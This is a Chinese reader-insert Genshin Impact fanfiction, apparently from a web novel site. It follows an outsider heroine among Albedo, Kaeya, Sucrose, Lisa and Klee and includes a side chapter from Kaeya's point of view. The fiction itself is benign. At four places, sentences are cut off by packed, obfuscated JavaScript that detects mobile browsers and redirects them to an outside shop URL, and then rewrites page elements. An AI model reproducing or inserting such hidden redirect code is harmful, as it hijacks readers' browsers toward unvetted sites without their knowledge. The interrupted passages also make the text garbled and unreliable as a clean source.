兴许是在炼金术的引导下,又有可能是香薰与他的话语在起作用,你这次睡得又快又死。 每个人的意识海都映射了个人的内心,阿贝多其实对别人的内心世界并没有多大的兴趣,这次不过是为了更好进行后续的研究—— 但当他睁开眼,看到周围漆黑的宇宙时却愣了神,这种景象……他低头看了看自己的双手——很好,形态稳定,思维清晰,看来进展很顺利。 阿贝多转头张望寻找你的身影,按理来说应该在旁边才对,怎么不见了? 像是为了回应他的疑惑,那红黑色的影子出现在他面前,与你一样的容貌,性格却是大相径庭—— 「炼金术士……白垩之子,真当这里是旅游景点随意出入啊?」 “你……”他有些意外,不仅仅是对方说出的名号,还有祂的样子,“你就是她说的……朋友?” 「答案显而易见,不是吗?」祂双手抱臂面向他,「那么,炼金术士,你进来应该不是观光的吧。」 “确实有几个问题必须从你这里才能得知答案……”他揉了揉眉心,“你为什么用她的形象?” 「我爱用,她也没意见。」 “我可以理解为,你为了某个答案而用她的形象示人?” 「呵……随你怎么想。」 “好……那么,你的名字是……?” 祂明显迟疑了一下:「名字……好吧,鉴于你同样是为了她,我还是告诉你吧——丹特利安。」 “丹特利安……”他轻声念了几遍,这个名字在他搜集的资料里没有印象,不能排除是编造的可能性,或是还没被记录的。 但都是猜测,那也可以初步判断——这个意识,不,丹特利安,它对你没有恶意,目前的情况甚至是保护着你。 如果真是这样的话就很耐人寻味了,一缕由魔神残渣的人性意识碎片里诞生的意识,当初还是由愚人众的博士主导的实验,如此珍贵的实验体愚人众会随便放人? 虽然他并不清楚愚人众这个组织的真正目的,但有些事迹他也略有耳闻,更何况你是第二席的实验体,这背后恐怕有别的原因。 “嗯,初次见面,我叫阿贝多,西风骑士团首席炼金术士。”出于礼貌,他依然自我介绍了一番。 “我倒是很想知道,你是出于什么而去保护她,而不是选择取代她,对你而言,取代岂不更容易?” 「理由么……」祂托着下巴抬头,似乎在思考,咧开嘴角,「告诉你也无妨,炼金术士。」 「无论是出于朋友之间的情谊,还是对死亡的恐惧,只有这个办法才能暂缓本能的吞噬。」 “本能的吞噬……?”他听到这个词微微皱眉,“什么意思?你们现在是共生关系?” 「字面意思,我不想过多的解释,既然她信任你,还不如亲自问她。」她缓缓伸出右手,「时间到了——」 “等等,她呢——”他还没来得及摆出防备的姿势,只突然感到一阵晕眩,视野瞬间扭曲,像是被暴力丢入漩涡里,随后又回过神猛地睁开眼—— 耳鸣与心脏的鼓动在这一刻达到顶峰—— 熟悉的暖色调的房间浮现在昏沉的视野内,思维随着心跳聚拢起来,嗡长的声响终于消散。 挂钟的指针依旧在转动,似乎才过去了不到一刻钟,阿贝多平复着呼吸,略微动了动身子,侧头看到你不知何时靠在他肩头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088059|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟睡过去,似乎还没有要醒来的迹象。 他仰天叹气,闭眼继续整理刚才得到的消息——如果真是这样,不得不重新审视你的身份了。 身为炼金术士,身为学者,阿贝多对一切「未知」都感到好奇,也也正因为这份求索的渴望,他才能一次又一次将「未知」变成知识。 他似乎发现了一份特殊的「未知」。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你也不知道这场意识海链接进行了多久,再次恢复清醒的时候,发现自己正躺在沙发上,身上盖着薄毯。你起身出了休息室,看到阿贝多在不远处的实验台那边忙活自己的实验。 “你醒了。”他看过来,微笑着,“感觉怎么样?” 你走到他旁边观摩起他的实验,拼命回忆着:“刚才真的有进去吗?怎么就睡了一觉什么都没有?” “没有。”他摇摇头头,暂停了手中的实验,转过来面向你,“祂把我弹出来了,试了几次都没成功。” “这,不对吧,这么害羞的吗……”你挠了挠头。 「嗤……」 “你笑什么?” 「没事,对,没错,我就是不欢迎这个人,你真以为自己的意识海可以随便放人进来是吧?!」 “这有什么问题吗?” 「问题大了去了……」 “那……”你猛然回神,这才发觉你还站在阿贝多面前,迎上对方好奇的目光,你开始语无伦次的,“那什么……” “呵呵……没事,”他摇了摇头,轻笑起来,眉眼弯弯的,“只是觉得,你们之间,似乎很有趣。” “抱歉,有时候和祂说话会不由自主说出来,在外人眼里看起来是自言自语的……”你伸手挠了挠脸颊,视线却落在一边。 “没关系,每个人都有自己的小习惯。”他撑着下巴继续注视着你,“而且,从某种意义上来说,我也算是一个外人吧。” “不对!你并不是外人,而是,而是……”你突然卡壳,一时间难以形容你对他本来就熟悉。 “噢?”他突然来了兴致,微微挑眉,“我不是外人,那我是……?” 是……是…… “……是朋友。”你最终憋出一个正常词汇,你还想说老婆来着,但想了想,还是算了。 朋友……吗? 阿贝多垂下眼帘沉默片刻,长长的睫毛投下颤动的阴影,随后便轻轻点了点头,似乎又想到了什么,伸手拉了拉你的衣袖,他看着你的眼睛,说道:“既然如此……作为朋友,我有些话想和你说。” “什么?”你下意识的。 “下次……如果有什么困难,记得告诉我。” 6. 第05章 疑心 之后的日子比较简单,无非是搞钱,配合阿贝多的实验,搞钱,配合…… 说起来,刚开始阿贝多制作出第一版抑制剂的时候由于药效过猛,直接把你和祂之间平常的联系给切断了,可这样的话铁定会在梦里听到祂憋了一天的话。 于是就进入了漫长的药剂改进环节…… 如此平凡的日常让你得到些许满足,或许这样也不错呢……除了偶尔碰到凯亚。以前隔着次元壁倒是会欣赏起来,如今直接接触到活生生的人,你感觉有些手忙脚乱的。 饶是和平自由的蒙德城,你也没想到一个找猫的委托会碰上什么案发现场——城南有一片区域稍微人少一些,你和凯亚寻着线索来到附近,结果看到有血迹洒落在地,地面、墙角,还有擦在墙面的印记,这些痕迹连成一条行动轨迹。 为什么是和凯亚一起?哦,他碰到了你在找猫,于是闲着没事和你一起行动。 此刻他正蹲在地上检查情况:“还有残留的雷元素,气味和颜色……看起来还是魔物留下的。” “哦——原来是魔物的……”你凑过去看了看,不止地上的,墙壁上也沾了些许,“看颜色应该是今天内留下的。” “观察得挺仔细的啊……”他起身看了你一眼,来到墙边同样观察了起来,“不过,从这些痕迹上看,是在追逐中造成的。” “等等,为什么城里会有魔物啊?”你顺着地面与墙面时断时续的血迹往前走,记忆里这里不应该会发生这样的事才对吧…… “有时候,某些地方并没有你想象中的那么太平。”同样跟在身后的凯亚也在观察着,突然来了这么一句,“不过,南柯小姐,你似乎很擅长这些呢。” “还好吧……”大概是在至冬自己摸索出来的,你还不想没碰到主线就翘辫子,偏偏以前的任务时常伴随危险,久而久之自己就学到了一些。 你们正准备寻着血迹拐弯呢,死角处突然冲出来极快的东西,伴随着微弱的电光与你的脸颊擦身而过——是一只雷萤! 你下意识后撤着,那只雷萤撞到墙壁后迅速折返过来,再一次朝你们发动冲撞—— 凛冽的寒气随着刀光迅速斩落魔物,你看着分成两半的飞萤滚落在脚边化为元素消散在大气中…… 嗯?不愧是凯亚亚,真是干脆利落……不对,为什么会有雷萤?这玩意儿城内也有? 凯亚收回剑,瞥了一眼死角处,眸色暗沉,随后恢复正常表情,低头看着你愣神的模样,还伸手在你眼前晃了晃,调侃着:“呵呵……南柯小姐,你还好吧?” 你这才惊觉自己几乎是背靠着他身上的……你急忙退开:“没事……不过,为什么突然有雷萤,这种魔物一般会在野外的才是……” 这不,很容易联想到,只有雷萤术士才能驱使雷萤,也就是说……愚人众最近又有什么动作了。 好吧,你没有头绪,毕竟你最近也没关注这方面,自然是想破头都想不出来。 “嗯,你说的没错,它们一般只在野外元素力富集区域,也不会单独行动……”他走过去,那边巷子里空荡荡,没有任何异常。 天色渐暗,你们又在附近转了一圈都没发现猫猫的踪迹,也没有其它可疑的事,似乎刚才的袭击真的只是意外。你的找猫委托今天恐怕是没有进展了,你俩一前一后往回走,周围一片寂静,只剩树叶与回荡的脚步声。 愚人众愚人众……你有些担心,阿纳托利最近在做什么,不会真的有不利于蒙德的事吧? 凯亚走上前来与你并肩,时不时瞥向你,漫不经心开口:“话说回来,南柯小姐,你似乎很擅长这些啊,观察血迹,寻找线索什么的……” “实不相瞒,之前有一段时间我沉迷于侦探小说。”你扶了一下不存在的反光眼镜。 “哦?侦探小说啊……”他来了兴趣,继续追问道,“那你觉得,侦探最重要的是什么?观察力?推理能力?还是……运气?” “都有吧……” “呵呵,你说得对,观察力、推理能力和运气,确实都是侦探不可或缺的因素。”他双手抱臂,点点头,嘴角微微上扬,“不过,我觉得还有一个很重要的因素,那就是——耐心。” 你感觉他意有所指,但有些说不上来:“凯亚是骑士团的一员,平时也接触不少的案件吧……” “哈哈,是啊,偶尔也会处理一些案件……不过,比起真正的侦探,骑士团的作用更多是维护蒙德城的秩序和安宁。” 月光被云层时遮时掩,透露的银白色微光将周围的星星都掩盖了。 远处微弱的光打在他那洁白的毛领上,在昏暗中尤为显眼,独特的羽状披风随着他的脚步而晃动,靛青色的发丝下那蓝色光晕一闪而过。 耳坠的光晕似乎在和他腰间的神之眼在共鸣,带着些许寒气的冰蓝色在缓慢明灭着,总感觉周围的气温都降了几度。 你不自觉搓了搓双臂——现在不是深秋吧。 不知不觉,你们已经回到熟悉的街道中,温暖的灯光驱散了先前的不适。 猎鹿人那边飘来的食物香味让你暂时把这些乱七八糟的想法抛去脑后,你对着菜单发呆:“吃什么好呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088060|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “嗯……今天的渔人吐司,和蜜酱胡萝卜煎肉都很不错哦,要不要试试?”他提议着,随后又补充一句,“这回我来请客吧,就当是感谢你今天的帮助了。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ “别动……” “……有一点点痒……” “原来会有反应的吗?等等,这个构造……” “……还是别了吧……” “对不起……但是……” “我……你……这……” “南柯小姐!我……我知道这个要求很无礼,但是拜托了……我真的很想研究一下你的羽毛!” 面前的嫩绿色头发的眼镜少女紧张到极点,兽耳也小幅度上下晃动,绯色蔓延至脸颊,砂糖双手合十,小心翼翼对你看向你开口:“……只需要一片样本就可以!” “一片?!”你惊恐地捂住脑袋连连后退,结果碰到桌沿把上面的瓶瓶罐罐晃了一下,你急忙刹住车。虽然但是,被拔走的话会不会长不回来啊? “果然……那我就近距离观察一下,可以吗……?”砂糖扬起无比诚恳的面庞,黄色的眼瞳透露出好奇的光泽,她眨了眨眼。 老婆不要露出这种表情啊,就算是你也把持不住的! 你的心脏似乎有些承受不住,头顶的翎羽也晃动了好几下,在你准备点头之际,不远处的坩埚突然蹦出不小的动静——浓稠的白雾呈蘑菇云猛然窜起,快速弥漫整个工坊,其中还夹杂着噼里啪啦的扩散反应…… “对,对不起……这次神之眼与清泉泉水以及骗骗花核心的实验又失败了……” 白茫茫的视野里只能听到砂糖的惊呼,以及一顿手忙脚乱的收拾动静,你只能挥手驱散眼前的白雾,摸着桌子边缘来到窗边打开通风—— “咳咳……怎么回事……”阿贝多从二楼走下来,手中的文件夹不带停扇动着,快速用边上的风元素交换器将白雾疏通,最后打开了大门。 “阿贝多先生……”砂糖快速收拾自己的实验台,同时向你们解释着,“大概是比例失调了,加上没注意到时间……” “……下次注意点就好。”阿贝多松了口气,随后转向你走来,“你没事吧?” “没有……”你挥了挥面前的空气,试图驱散白雾看清楚来人。 他看了眼你的头顶,伸手轻轻捏住你的翎羽根部,捻开了些许让羽毛舒展—— 砂糖不由自主屏住了呼吸,双眼一动不动观察着。 你感觉自己的大脑似乎宕机了……这是,做什么? 7. 第06章 凯亚的委托 感受到头顶传来的微妙触感,你不由自主睁大了眼,愣愣看着眼前的阿贝多,视线下意识划过他喉结下的星星标志…… “抱歉,这里沾上东西了。”他很快松开了手后退一步,随即展示指尖的一缕毛絮,“好了。” 不知是不是错觉,你似乎看到他嘴角扬起微弱的弧度,听到自己有些干巴的道谢:“谢谢……” “对了,这次试验的后续观察已经得出结果了,接下来已经没有别的事,你可以继续留下来,或者……做自己的事。”阿贝多很随意的侧过身,将毛絮丢入垃圾桶。 你回过神,连连道谢,然后逃也似的离开。 阿贝多望着空荡荡的门口处,抬手看了一眼自己的指尖——手感,很奇特。 “阿、阿贝多先生?”砂糖弱弱呼唤着还在沉思的他,“所以究竟是什么构造?这究竟是天生的还是……?” “没……”他抬起头,迈腿准备去二楼,随即脚步一顿,回过身对她说道,“比起我的转述,不如下次遇到她的时候再大胆一些吧,我想她不会拒绝的。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你快步走在回去的路上,压制不住上扬的嘴角。 「这么高兴?」祂冷不丁开口了,满是看戏的姿态。 你脚步一顿,随即放缓脚步恢复正常的速度:“因为是老婆啊。” 「呵……你就乐着吧,触手可及的老婆……」祂在你意识海里摇头叹气。 你又一次来到冒险家协会寻找合适的委托,之前你就注册并接取了,在抑制剂真正做出来之前,基本都是接常见的寻物、跑腿、帮工、采集…… 只要不战斗,平常使用卷轴的某些功能还不至于让精神力透支——这么说来,到时候说不定可以接一些高难度的? “……需要帮忙吗?” 冷冽的声音冷不丁的响起,你被吓得一个激灵回头,却见那位许久不见踪影的白毛面具男:“你……不要突然出声啊。” “抱歉……”阿纳托利直起身往旁边退开一点,“看你挺纠结的。” “没什么的,还没看好……对了你这段时间去哪了?”你的目光从委托单上收回来,不断打量着眼前的人。 “处理了一些文书工作,不必在意。”他依旧言简意赅的,然后指了指那个委托单,“不过……真的不需要帮忙吗?你刚刚看着这个很久了。” 你再次看向那个委托单——采集钩钩果的委托,报酬挺高的,那边似乎有点危险:“这个级别的……还是之后外接吧,挺危险的。” “好……” “哟,南柯小姐~好久不见,这是在接委托吗?”又是另一道声音突兀地插进来,你看到凯亚走过来对你笑眯眯打招呼,随后又看向阿纳托利,“诶……这位是你的朋友?” 你的眉毛忍不住抽搐了几下:“你明明见过他……” “哦?见过吗?”他一副恍然大悟的样子,然后故作神秘地凑近你,压低声音说道,“哎呀,瞧我这记性,可能是脸盲症犯了。” 阿纳托利伸手按着你的肩膀,微微往后压,语气冷漠:“凯亚先生有事?” 凯亚又直起身耸肩:“只是来发布委托,然后看见南柯小姐来打个招呼而已。” “发布委托?还有骑士团搞不定的事?”你上下打量着面前的蓝孔雀。 “嗯,也不是什么麻烦事,就是空不出人手——要看看吗?” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 次日,西风骑士团总部 你和阿纳托利最终来到骑士团的图书馆,推开门看见熟悉的场景,内心不免有些激动——是整理图书的工作诶! 阿纳托利则先走进去四处打量,最后转过身看过来—— “你们就是凯亚找的帮手?”不见其人先闻声,同时还伴随着一缕若有若无的花香,你回过头看清来人后急忙退开—— “不用这么紧张,小可爱。”丽莎对你眯了眯眼,“那么,走吧,今天天气不错,适合让书籍享受一下阳光浴。” 委托的内容很简单,把书搬出去晒晒就好,你发现某个角落还有另一个更熟悉的身影在伏案工作——是琴! “丽莎……这两位是……?”似乎是察觉到你的好奇,琴抬起头看向你们。 “是凯亚找来的两位帮手哦——”丽莎对琴狡黠一笑,随后轻按你的肩膀引导方向,“走吧,藏书的房间在这边……” 琴点点头,又打量了你们一眼,又埋头继续手头的事了。 只不过这是个体力活,还好有阿纳托利在,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088061|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏书都搬出来花费的时间并不多。 ……咦,这是什么?《丘丘人诗歌选集》?看一下。诶,这是什么?《少女薇拉的忧郁》第二卷?看一下。唔……这是什么?《野猪公主》?看一下…… 不兑,什么东西过去了? 你连忙把那本书的封面翻过来仔细端详着,又看了看作者——安德斯多特,你记得是,魔女M。 不管了,看一下应该没逝……不愧是,哇,安屠生童话,这结局可真是出乎意料…… “感觉怎么样?这本书?”不知何时,丽莎俯身在你耳侧询问。 你几乎是直接弹开,飞快合上书:“这本书……这本书是儿童邪典吧……” 丽莎对你的反应很满意,随后拉开了距离:“嗯……这个形容挺……准确的。野猪公主最终决定,牺牲狐狸和乌龟来填饱小狼的肚子换取友谊,确实不太适合小孩子看呢。” 阿纳托利虽然依旧在专心翻看那些书籍,注意力却悄悄转到这边了,指尖的书页半天才翻过去一张。 “小可爱有喜欢的口味吗,姐姐我可以给你推荐哦~”丽莎低头看着旁边的书堆,伸手轻抚封面,划过书脊的文字。 你瞬间来了兴致,开始和这位蔷薇魔女开始讨论书的种类,树丛投下的阴影逐渐攀上石砖漫过脚尖,光线由明亮的白逐渐染上金黄,一旁的茶壶也见了底。 这次的委托内容不止晒书,还要将图书分类摆放好,虽说流程是有些单调,但丽莎似乎很享受这样的氛围,偶尔和你们聊天,喝茶——这鱼摸得倒是淋漓尽致。 最后离开的时候,丽莎将你想要的书放在你手里,眯了眯眼,绿色的眸子里满是笑意:“这是说好推荐给你的,要,按,时,归,还,哦~” 你有些不敢继续看老婆那迷死人的笑容,低低应了一声很快就离开了,在你身后的阿纳托利若有所思。 俩人几乎是沉默的一前一后往回走,等差不多要回到住处的时候,阿纳托利突然出声了:“……你和凯亚很熟吗?” “也没有。”脸上的燥热散去了不少,你闻言回过头看去,见他偏着脑袋望向不远处的街景,黑色的面具被暮色浸染了些许色彩,上面红色的灯条条极为暗淡。 他沉吟许久,最终只说了三个字:“小心点。” 8. 第07章 “因为那是女儿!” 你当然知道阿纳托利的担忧,也表示不用那么的过于警惕,更何况你又不打算对蒙德做什么,单纯的生活在这里有问题吗? 当然没有,但架不住凯亚的好奇,时不时给你推荐委托,不过难度时高时低,可那是高额的摩拉啊……但你还是有自知之明的,只要抑制剂没顺利制作出来,你是不会接太远的委托,像奔狼领、望风山地、明冠峡、风啸山坡和需要清理魔物的直接哒咩! 不过有时候也会接到他给的临时酒保值班的活…… 不过既然只是这种类型的话,你倒是会接受,只是,他什么时候管理酒吧了?不是迪卢克的吗? “……嗯,这个嘛,我只是向查尔斯推荐了一下合适的人选,佳酿节临近,酒馆需要人手。”凯亚坐在吧台前对你笑了笑,然后端起酒杯继续喝着,“不过很意外啊,干得不错,或许以后可以当个正式的……” “不了,我对这方面不感兴趣。” “哦?那你准备干什么?当个冒险家?”他记得你总是时不时往冒险家协会里跑,有时候接了一份、几份,也有啥都不接纯看看的时候。 但那些委托的内容,挺日常的。 你一边按照流程步骤调制酒水,一边漫不经心应着他的话:“差不多,或许去旅行。” “嗯,旅行吗……”他低头凝视杯中自己的倒影,手指摩挲着沿口,“有心仪的目的地了吗?” “还没有……”你最后把薄荷叶插在酒杯旁,然后推给一旁的客人,“倒是你,为什么大早上摸鱼来喝酒?” “哈哈,别这么说。”他将剩余的液体一饮而尽,“视察民众也是我工作的一环,顺道来看看这位新调酒师,有没有好好工作~” 借口,肯定是借口!你没有接话,只是继续清理吧台,这桌子可真桌子啊…… “不过,你打算和谁一起旅行呢?” “我的朋友,阿纳托利。”对不起了,为了避免剧透给,就牺牲一下搭档吧,他应该不会介意。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 今日的蒙德城,一如既往的和平,某次傍晚结束委托之后…… 砰—— 你看着面前的墙角被什么炸出一个足足有两人高的洞,烟尘弥漫,呛得你止不住咳嗽,石块碎屑还在扑簌扑簌往下掉,那个红色的身影从烟雾中冲出来,正拼命晃着脑袋甩掉身上的灰尘。 “唔……这次是失误,下次再来!” 你一动不动站在原地——哦,我的可莉小宝贝,不用每一见面都这么隆重的!这次有点过了! 周围已经聚集了不少路人了,似乎都被这场意外吓得惊魂未定。 “诶?南柯姐姐?”可莉扑到你身前,一副可怜巴巴的,“那个,可以不要告诉阿贝多哥哥吗……” “这显然不可能不知道吧……”你急忙接住她,伸手把帽子拿下来掸掉灰尘再戴回去。 这段时间去工坊去多了,自然而然也和这位小可爱见了面,活泼的小孩子对什么都感到新鲜好奇,学东西也特别迅速,前不久她获得了神之眼,但…琴的管理条例才刚起步。 “下次,我想我们可以去野外实验你的蹦蹦炸弹?” “可是千风神殿的墙不够结实……” “……” 安抚期间,你看到琴已经拨开人群大步来到你们面前,看到边上狼藉的场景不禁有些头疼,语气也放软起来:“可莉……” “唔!可莉不是故意的,是墙太脆弱!” “总之,你们先和我回去……”琴最后扶着额头,看了你们一眼,又去组织人员疏散现场。 你似乎能想象到之后会发生什么了,虽然不知为何你也被叫到骑士团里的禁闭室里,张望了一下这里的布置,听着琴在耐着性子教育可莉。又低头看了看藏在你身后的小精灵——哦,这委屈巴巴的表情太犯规了…… “那个,琴副团长,我们在做课题实验。”你看不下去,张口就来,“是我疏忽了,没看好她。” “诶?南柯姐姐……”可莉不知道你为什么这么说,看着你眨了眨茫然的双眼。 琴揉着眉心叹气,一时间也不好对你说什么。 “对,修缮费我出就好。” “诶?不,不对,是——” 焦急的话语被开门的动静打断,阿贝多接到消息后就即刻赶了过来,看到可莉就瞬间明白了什么,满是无奈地道歉,可莉冲进他怀里时还差点接不住踉跄了一下。 听完前因后果,阿贝多摇头叹气便把责任揽回自己身上,你更是用上了推脱红包的气势试图把赔偿的人选拉回来——最终变成你和阿贝多平摊费用。 不过可莉还是被罚禁闭了…… “南柯小姐不必这么说的 ……”琴有些无奈。 “不,我心意已决。”因为那是女儿! ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 也不知是不是阿贝多特意照顾你,从这天之后时不时委托你找实验素材,报酬还挺可观的,你连着接了10个才发觉什么。 “工坊最近很缺材料?”你看着第11个委托单的内容,又看看他似笑非笑的脸。 “嗯……”他只是点点头,一脸认真,“砂糖和蒂玛乌斯的实验进入阶段性环节,而且你提供的素材品质非常好,为什么不直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088062|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交给你呢?” “走吧,这次我也和你去。”他没有过多解释,拉着你决定了这次的行程。 今日的委托内容是采集爆爆瓜的根,随行人员有阿贝多和……可莉?! “好诶——今天和阿贝多哥哥和南柯姐姐一起出来玩,看我的,嘿咻——” 你看着可莉以一己之力,把路上拦路的魔物全部清除干净,而阿贝多还贴心上了护盾。 “还真是,有活力呢……”你感慨。 “嗯,爆破的方式与效果都比之前有很大的进步,如果再精准投放到魔物身上就好了。”阿贝多欣慰点头。 蹦蹦炸弹带来的威力确实非常可观,但同时也造成了过量的破坏,丘丘人的营地都不成样了…… 你及时绘制出水元素扑灭了不小心点燃的火苗,差点就要牢底坐穿啊喂! “原来是这样运作的,之前在城里的示范有太多干扰元素了,现在能清晰的感受到卷轴在释放的瞬间,周围的元素流动也加快起来。”他看着你运笔的动作,若有所思,眼里全是渴望知识的光芒,“也就是说它机制是调用元素,然后凝聚成型?” “差不多?”你想了想,最终绘制了水元素的蹦蹦炸弹展示,“可以自由创作。” “哦——这个和我的蹦蹦炸弹长得一模一样呢,它会炸出水花吗?” “可莉你想要怎样的水花呢?” “要这样的……要那样子的……” 阿贝多听着你们讨论水花的效果,目光从翎羽慢慢移到脸上仔细端详,于是他看到了蹦蹦炸弹被投掷到上空炸开,烟花,但是水元素。 这应该还不是这卷轴的真正作用吧……阿贝多低垂眼帘,端详着指尖刚被催生的地脉新芽,元素力的流动方向确实是经过了卷轴。但这个量有些异常,普通人可承受不住,得亏他和可莉都是神之眼持有者,换做是别人,早就流鼻血了。 元素力对人体是有害的,拥有外置魔力器官无非是能更好适应并运用这些力量,而你并没有神之眼,也没有异常状况……他需要更多的实验。 挖爆爆瓜的过程非常顺畅,成功没有触发爆炸,而且根茎的品质看起来也不错,可能是昨晚下过雨吧。 日渐西斜,你们带着素材走在返程的路上,可莉几乎玩了一天,趴他背在身后昏昏欲睡的。 “我想知道你的卷轴是从哪来的,可以告诉我吗?” 这要怎么解释这玩意从你醒来那天就出现在身边了,类似于挂的存在又不太像。你下意识摸了摸挂在腰间的东西,有些迟疑:“怎么说呢……” “它从一开始就在我身边了。”你还是实话实说。 9. 第7.5章 凯亚的观察报告(番外一)[番外] (本番外为凯亚视角,时间线从第1到第9章之间) 凯亚关注那个头顶长羽毛的少女很久了,只可惜迪卢克写的信里并没有明说她的身份背景——让他有一瞬间怀疑,是不是有人冒充这封信。 但笔迹与火漆是很难造假的,除非那人觉得安稳生活太长了。 从最初的荆夫港接触,他能收集到的线索不多不少,首先是背景,几乎找不到她和那个面具男的资料,这不对劲。 特别是那个叫阿纳托利的至冬人,关键的信息像是被刻意掩盖了,世界上又有谁能这样动手脚——他很难不怀疑到愚人众这个组织上。 而且这个人,避开了他派去的所有眼线,让他不得不亲自找机会近距离接触,不过在此之前,那名少女倒是很容易接近。 星落湖附近是绝佳的写生地点,摸清了行动轨迹之后,只要“偶遇”一下就可以了,当他发现那两人时,阿贝多似乎在教着什么。 内容是关于绘画手法的专业知识,凯亚稍微欣赏了一会儿,又把目光挪到那个无比认真的少女身上——那一对翎羽,与头发颜色一致,末端有些泛白,像是有生命力那般竖起来又垂下去,有点像某种鸟类的羽冠,说起来,这是天生的吗? 她似乎察觉到什么,抬头看向凯亚:“凯亚你怎么来了?” 他倒是大方抬手打招呼:“好久不见,我在做任务就碰巧遇到你们了,不过看起来似乎不是时候……” “不,你来的正是时候——看好了南柯,三笔凯亚是这么画的。”阿贝多随手拿起速写板站在她身边开始示范,“这个圆是脸,这根线是眼罩带子……这是眼罩。” “我有个提议,这里加个三角,就是嘴。” “……为什么会这样想?”阿贝多依她所言,添加了倒三角。 “因为很符合。” “我给你的印象是这样的么……”凯亚失笑摇摇头,随后走过去看看,“不过,还真是简洁有力。” “过誉了,只是随手涂鸦而已,她很感兴趣,就讲给她听听。”阿贝多回以微笑,似乎又想到什么,对她说道,“或许以后你可以试试这种高度简洁概括法,或许能事半功倍。” “对哦,赋予概念然后绘制,在时间上或许能够快一些。”少女开始在画纸上随意勾勒起来。 凯亚总感觉你们在聊一些他听不懂的东西,视线不由自主落在少女腰间的卷轴上——从见面一开始,这玩意就从不离身,也没见用过——空白的卷面,微弱的元素力,妙妙小工具,画家的饭碗…… 这到底是做什么的?他的人称只在野外遇到魔物时才用到——仅仅是空白的卷轴,加上一只笔就能绘制出元素造物,其威力不容小觑。 并且和阿贝多接触,隔三差五去工坊,并且一待就几乎是一天,果然是在实验什么吧。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 有时候人陷入危险时更能暴露秘密,凯亚经常做出这种举动,但这次似乎不奏效了。 前几次由他的人试探,结果不是被巧合躲开,就是被阿纳托利挡了回去。 小巷、无人环境、雨夜……如此经典的场景,之前效果不佳,他决定亲自出手,同时隐藏起来观察。 嘈杂的雨声掩盖了他的脚步声与释放元素的动静,本来只是想绊倒而已,也不知是巧合还是什么,只见少女脚底一个打滑,刚好错过他的冰锥。 既然这样,那就没有要继续隐瞒的选择了,他也不在意是否被记恨——但在准备去再次出手的时候,那个白发面具男很恰巧出现在小巷的出口,直觉告诉他这个人不简单,避免交战。 雨声同样掩盖了他们的对话,凯亚努力分辨却得到“你吃了吗”这种日常寒暄。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 直到某天他获得迪卢克寄过来的一张画像——悬赏令,他的猜想得以验证。 但愚人众的人……却和阿贝多有密切往来,这个天才怎么看都不像是被摩拉诱惑的样子,还是被迪卢克介绍出去的——线索基本集齐,就差关键的一环了。 正好,她最近经常接冒险家协会的委托,这正好是个机会……随后他发现她的警惕性实在是太高了,任何有点点异常的委托都选择拒绝。 他也试过多种不同迂回的方式去试探,结果可想而知——和普通人一样没有任何异常举动。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 寻常的、战斗的、协助性质的委托他都试过推荐给她,偏偏她把可能遭遇战斗的委托拒绝了,就算是第六感每次都这么准吗? 他最终选择把她推荐给查尔斯说是个有经验的帮工,正好佳酿节即将到来,她就是那个合适的值班人选。 他看着少女在查尔斯的指导下展现的熟练调酒技巧,就知道他没看错人,于是满意点点头:“没想到你还挺有天赋的,以前做过?” 